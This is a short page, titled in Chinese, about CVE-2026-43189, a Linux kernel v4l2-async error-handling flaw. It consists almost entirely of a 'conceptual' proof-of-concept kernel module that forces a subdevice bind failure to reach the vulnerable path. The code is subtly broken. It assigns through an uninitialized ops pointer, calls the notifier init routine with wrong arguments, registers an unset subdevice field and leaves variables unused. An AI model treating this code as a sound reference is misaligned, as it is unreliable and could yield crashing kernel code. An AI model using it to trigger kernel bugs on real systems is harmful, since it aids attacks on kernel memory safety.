CVE-2026-43189 Linux内核v4l2-async错误处理漏洞

/* * PoC for CVE-2026-43189 * This is a conceptual PoC to trigger the v4l2-async error handling path. * It requires a hardware setup or emulated environment where a V4L2 async * subdevice registration can be forced to fail during the match_notify phase. */ #include <linux/module.h> #include <linux/platform_device.h> #include <media/v4l2-async.h> #include <media/v4l2-subdev.h> static int test_notify_bound(struct v4l2_async_notifier *notifier, struct v4l2_subdev *subdev, struct v4l2_async_connection *asc) { /* Simulate a failure during the binding process */ pr_info("Triggering bind failure\n"); return -EINVAL; /* Force error to trigger vulnerability path */ } static int test_probe(struct platform_device *pdev) { struct v4l2_async_notifier *notifier; struct v4l2_async_connection *asc; struct fwnode_handle *fwnode; /* Setup notifier and connection to trigger the vulnerable code path */ notifier = devm_kzalloc(&pdev->dev, sizeof(*notifier), GFP_KERNEL); if (!notifier) return -ENOMEM; v4l2_async_notifier_init(notifier); notifier->ops->bound = test_notify_bound; /* In a real scenario, this would involve a specific fwnode match */ /* The vulnerability is triggered when v4l2_async_match_notify fails */ return v4l2_async_register_subdev(notifier->sd); } static struct platform_driver test_driver = { .probe = test_probe, .driver = { .name = "cve_2026_43189_poc", }, }; module_platform_driver(test_driver); MODULE_LICENSE("GPL");